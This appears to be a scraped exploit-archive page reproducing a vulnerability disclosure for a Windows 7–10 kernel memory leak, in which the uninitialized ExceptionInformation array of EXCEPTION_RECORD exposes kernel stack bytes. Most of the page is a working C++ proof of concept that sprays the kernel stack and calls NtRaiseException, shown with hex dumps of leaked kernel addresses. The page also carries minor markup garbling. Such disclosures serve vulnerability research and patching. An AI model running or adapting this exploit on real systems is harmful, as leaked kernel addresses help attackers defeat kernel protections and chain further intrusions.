扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 |
/* We have discovered a new Windows kernel memory disclosure vulnerability in the creation and copying of a EXCEPTION_RECORD structure to user-mode memory while passing execution to a user-mode exception handler. The vulnerability affects 64-bit versions of Windows 7 to 10. The leak was originally detected under the following stack trace (Windows 7): --- cut --- kd> k # Child-SPRetAddr Call Site 00 fffff880<code>040b7e18 fffff800</code>026ca362 nt!memcpy+0x3 01 fffff880<code>040b7e20 fffff800</code>026db3bc nt!KiDispatchException+0x421 02 fffff880<code>040b84b0 fffff800</code>0268fafb nt!KiRaiseException+0x1b4 03 fffff880<code>040b8ae0 fffff800</code>0268d093 nt!NtRaiseException+0x7b 04 fffff880<code>040b8c20 00000000</code>74b5cb49 nt!KiSystemServiceCopyEnd+0x13 --- cut --- and more specifically in the copying of the EXCEPTION_RECORD structure: --- cut --- kd> dt _EXCEPTION_RECORD @rdx ntdll!_EXCEPTION_RECORD +0x000 ExceptionCode: 0n1722 +0x004 ExceptionFlags : 1 +0x008 ExceptionRecord: (null) +0x010 ExceptionAddress : 0x00000000<code>765fc54f Void +0x018 NumberParameters : 0 +0x020 ExceptionInformation : [15] 0xbbbbbbbb</code>bbbbbbbb --- cut --- In that structure, the entire "ExceptionInformation" array consisting of 15*8=120 bytes is left uninitialized and provided this way to the ring-3 client. The overall EXCEPTION_RECORD structure (which contains the ExceptionInformation in question) is allocated in the stack frame of the nt!KiRaiseException function. Based on some cursory code analysis and manual experimentation, we believe that the kernel only fills as many ULONG_PTR's as the .NumberParameters field is set to (but not more than EXCEPTION_MAXIMUM_PARAMETERS), while the remaining entries of the array are never written to. As a result, running the attached proof-of-concept program reveals 120 bytes of kernel stack memory (set to the 0x41 marker with stack-spraying to illustrate the problem). An example output is as follows: --- cut --- 00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000010: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000020: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000030: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000040: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000050: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000060: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000070: 41 41 41 41 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? AAAAAAAA........ --- cut --- If we replace the stack-spraying function call in the code with a printf() call, we can immediately spot a number of kernel-mode addresses in the output dump: --- cut --- 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: a0 ce 1e 00 00 00 00 00 a0 ce 1e 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 64 0b 00 00 00 40 00 00 ........d....@.. 00000030: b8 00 00 00 00 00 00 00 60 6e 83 5d 80 f9 ff ff ........<code>n.].... 00000040: 00 0d 78 60 80 f9 ff ff 00 00 00 00 80 f9 ff ff ..x</code>............ 00000050: 00 00 00 00 01 00 00 00 00 01 00 00 00 00 00 00 ................ 00000060: 10 01 00 00 00 00 00 00 00 70 f5 3f 01 00 00 00 .........p.?.... 00000070: 50 0b 10 60 80 f9 ff ff ?? ?? ?? ?? ?? ?? ?? ?? P..`............ --- cut --- */ #include <Windows.h> #include <cstdio> extern "C" NTSTATUS NTAPI NtRaiseException( IN PEXCEPTION_RECORDExceptionRecord, IN PCONTEXT ThreadContext, IN BOOLEANHandleException); VOID PrintHex(PBYTE Data, ULONG dwBytes) { for (ULONG i = 0; i < dwBytes; i += 16) { printf("%.8x: ", i); for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes) { printf("%.2x ", Data[i + j]); } else { printf("?? "); } } for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) { printf("%c", Data[i + j]); } else { printf("."); } } printf("\n"); } } VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) { for (ULONG i = 0; i < size; i++) { ptr[i] = byte; } } VOID SprayKernelStack() { static bool initialized = false; static HPALETTE(*EngCreatePalette)( _In_ ULONG iMode, _In_ ULONG cColors, _In_ ULONG *pulColors, _In_ FLONG flRed, _In_ FLONG flGreen, _In_ FLONG flBlue ); if (!initialized) { EngCreatePalette = (HPALETTE(*)(ULONG, ULONG, ULONG *, FLONG, FLONG, FLONG))GetProcAddress(LoadLibrary(L"gdi32.dll"), "EngCreatePalette"); initialized = true; } static ULONG buffer[256]; MyMemset((PBYTE)buffer, 'A', sizeof(buffer)); EngCreatePalette(1, ARRAYSIZE(buffer), buffer, 0, 0, 0); MyMemset((PBYTE)buffer, 'B', sizeof(buffer)); } LONG CALLBACK VectoredHandler( _In_ PEXCEPTION_POINTERS ExceptionInfo ) { PrintHex((PBYTE)ExceptionInfo->ExceptionRecord->ExceptionInformation, sizeof(ExceptionInfo->ExceptionRecord->ExceptionInformation)); ExitProcess(0); } int main() { AddVectoredExceptionHandler(1, VectoredHandler); // Initialize the exception record. EXCEPTION_RECORD er; RtlZeroMemory(&er, sizeof(er)); er.ExceptionAddress = main; er.ExceptionCode = STATUS_ACCESS_VIOLATION; er.ExceptionFlags = 0; er.NumberParameters = 0; er.ExceptionRecord = NULL; // Initialize the CPU context. CONTEXT ctx; RtlZeroMemory(&ctx, sizeof(ctx)); ctx.ContextFlags = CONTEXT_ALL; GetThreadContext(GetCurrentThread(), &ctx); // Spray the kernel stack with a 0x41 marker byte. SprayKernelStack(); // Trigger the memory disclosure. NtRaiseException(&er, &ctx, TRUE); return 0; } |
体验盒子
